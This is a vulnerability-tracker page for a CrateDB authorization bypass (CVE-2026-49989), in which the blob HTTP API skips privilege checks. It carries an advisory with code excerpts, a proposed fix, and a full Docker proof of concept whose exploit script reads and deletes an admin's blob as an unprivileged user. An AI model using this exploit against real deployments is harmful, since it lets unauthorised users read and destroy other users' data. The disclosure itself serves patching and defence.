Skip to main content

Java CVE-2026-49989

| EUVDEUVD-2026-58717 HIGH
Incorrect Authorization (CWE-863)
2026-07-01 https://github.com/crate/crate GHSA-2xv8-gjwh-fv8p
7.1
CVSS 4.0 · Vendor: https://github.com/crate/crate
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 27, 2026

Unauthorized blob read, write, and delete operations in CrateDB's HTTP API allow any authenticated user to bypass privilege grants on blob tables. The HttpBlobHandler endpoint fails to enforce access control, enabling authenticated users to read, delete, or plant arbitrary blobs via crafted HTTP requests, regardless of their SQL-level permissions. Public proof-of-concept exploit code exists; a vendor patch is available, but active exploitation has not been confirmed through CISA KEV.

Affected VersionsENISA

crate 6.3.0, < 6.3.2
crate < 6.2.8

Affected Packages

maven io.crate:crate fix: 6.2.8, 6.3.2
euvd crate fix: 6.2.8, 6.3.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/crate/crate) PRIMARY 7.1 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Any authenticated network user bypasses table-level authorization with no special conditions; full blob read, write, and delete capability yields High across all three impact metrics.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/crate/crate).

CVSS VectorVendor: https://github.com/crate/crate

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Component: io.crate.protocols.http.HttpBlobHandler Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.

---

Summary

CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.

The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/<digest>.

Where it lives

server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:

java
// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
    if (possibleRedirect(index, digest)) {
        return;
    }

    if (method.equals(HttpMethod.GET)) {
        get(index, digest);
        reset();
    } else if (method.equals(HttpMethod.HEAD)) {
        head(index, digest);
    } else if (method.equals(HttpMethod.PUT)) {
        put(content, index, digest);
    } else if (method.equals(HttpMethod.DELETE)) {
        delete(index, digest);
    } else {
        simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);
    }
}

No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:

java
// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
    if (range != null) {
        partialContentResponse(index, digest);
    } else {
        fullContentResponse(index, digest);
    }
}

grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.

The APIs that should be called here, used by the SQL path before every statement is dispatched:

  • server/src/main/java/io/crate/auth/AccessControl.java (interface, declares ensureMayExecute(...) and ensureMaySee(...))
  • server/src/main/java/io/crate/auth/AccessControlImpl.java:133 (concrete impl)

Threat model

Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.

CapabilityNeeds digest?Impact
Read or delete a blobyesHigh when digests leak, nil otherwise
Plant new blobs (PUT)noStorage pollution; SHA-1 check blocks forging under a victim's digest

Digest secrecy is not a documented security boundary.

Reproduction

End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.

./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:

  1. Admin uploads a blob via PUT /_blobs/.... Success (201).
  2. Admin reads via SQL. Success.
  3. Unprivileged user reads via SQL. Denied (correct, this is what we want).
  4. Unprivileged user reads via GET /_blobs/.... 200 OK plus the blob payload (the bug).
  5. Unprivileged user deletes via DELETE /_blobs/.... 204 No Content (the bug, again).
  6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.

Sample output from a real run:

=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR:  Schema 'blob' unknown ...

=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin

=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS

PoC files

<details> <summary><code>docker-compose.yml</code></summary>

yaml
services:
  cratedb:
    image: crate:6.2.7
    ports:
      - "4200:4200"
      - "5432:5432"
    command: >
      crate
      -Cnetwork.host=0.0.0.0
      -Cdiscovery.type=single-node
      -Cauth.host_based.enabled=true
      -Cauth.host_based.config.0.user=crate
      -Cauth.host_based.config.0.method=trust
      -Cauth.host_based.config.99.method=password
      -Cblobs.path=/data/blobs
    environment:
      - CRATE_HEAP_SIZE=512m
    healthcheck:
      test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
      interval: 5s
      timeout: 5s
      retries: 12

HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default _site_ bind, which fails when Docker's interfaces have no site-local address.

</details>

<details> <summary><code>setup.sql</code></summary>

sql
-- Create the blob table
CREATE BLOB TABLE secret_blobs;

-- Create admin user with full access
CREATE USER admin WITH (password = 'adminpass');
GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;

-- Create unprivileged user with NO access to the blob table
CREATE USER unprivileged WITH (password = 'unpriv123');
-- Intentionally no GRANT for unprivileged user

</details>

<details> <summary><code>exploit.sh</code></summary>

bash
#!/usr/bin/env bash
set -euo pipefail

CRATE_HTTP="http://localhost:4200"
BLOB_TABLE="secret_blobs"
BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; }
pass()   { printf "${GREEN}[PASS]${NC} %s\n" "$1"; }
fail()   { printf "${RED}[FAIL]${NC} %s\n" "$1"; }
info()   { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }

sql_as() {
    local user="$1" pass="$2" query="$3"
    PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
}
# ---------------------------------------------------------------------------
header "Step 1: Upload a blob as admin via HTTP"
# ---------------------------------------------------------------------------
DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}')
info "Blob SHA1 digest: $DIGEST"

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -u admin:adminpass \
    -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \
    -d "$BLOB_CONTENT")

if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then
    pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)"
else
    fail "Admin blob upload returned HTTP $HTTP_CODE"
    exit 1
fi
# ---------------------------------------------------------------------------
header "Step 2: Admin CAN read blob metadata via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1")
if [[ -n "$RESULT" ]]; then
    pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT"
else
    fail "Admin SQL query returned no results"
fi
# ---------------------------------------------------------------------------
header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true)
if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then
    pass "Unprivileged user correctly denied SQL access"
    info "Server response: $(echo "$RESULT" | head -1)"
else
    fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
fi
# ---------------------------------------------------------------------------
header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \
    -u unprivileged:unpriv123 \
    "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

BODY=$(cat /tmp/blob_out)

if [[ "$HTTP_CODE" == "200" ]]; then
    fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
    info "Retrieved content: ${BODY}"
else
    pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -u unprivileged:unpriv123 \
    -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then
    fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
else
    pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)"
fi
# ---------------------------------------------------------------------------
header "Step 6: Confirm blob is gone (admin perspective)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'")
if [[ "$RESULT" == "0" ]]; then
    fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
else
    info "Blob still exists (count=$RESULT)"
fi

</details>

<details> <summary><code>run.sh</code></summary>

bash
#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }
# Pick whichever Compose CLI is available (docker compose v2 vs legacy
# docker-compose binary). Both are common in the wild.
if docker compose version >/dev/null 2>&1; then
    DC=(docker compose)
elif command -v docker-compose >/dev/null 2>&1; then
    DC=(docker-compose)
else
    echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
    exit 2
fi

cleanup() {
    info "Stopping containers..."
    "${DC[@]}" down -v 2>/dev/null || true
}
trap cleanup EXIT

info "Starting CrateDB with authentication enabled..."
"${DC[@]}" up -d

info "Waiting for CrateDB to become healthy..."
for i in $(seq 1 60); do
    if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
        break
    fi
    sleep 1
done
# Verify CrateDB is actually ready for SQL connections
for i in $(seq 1 30); do
    if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
        break
    fi
    sleep 1
done

info "Running setup SQL as superuser (crate)..."
PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql
# Give CrateDB a moment to propagate user/privilege changes
sleep 2

info "Running exploit..."
echo ""
bash exploit.sh

</details>

Fixing

Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.

HTTP verbSQL equivalentRequired privilege on blob.<table>
GET / HEADSELECTDQL
PUTINSERT / UPDATEDML
DELETEDELETEDML

Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).

Notes

Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

56
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy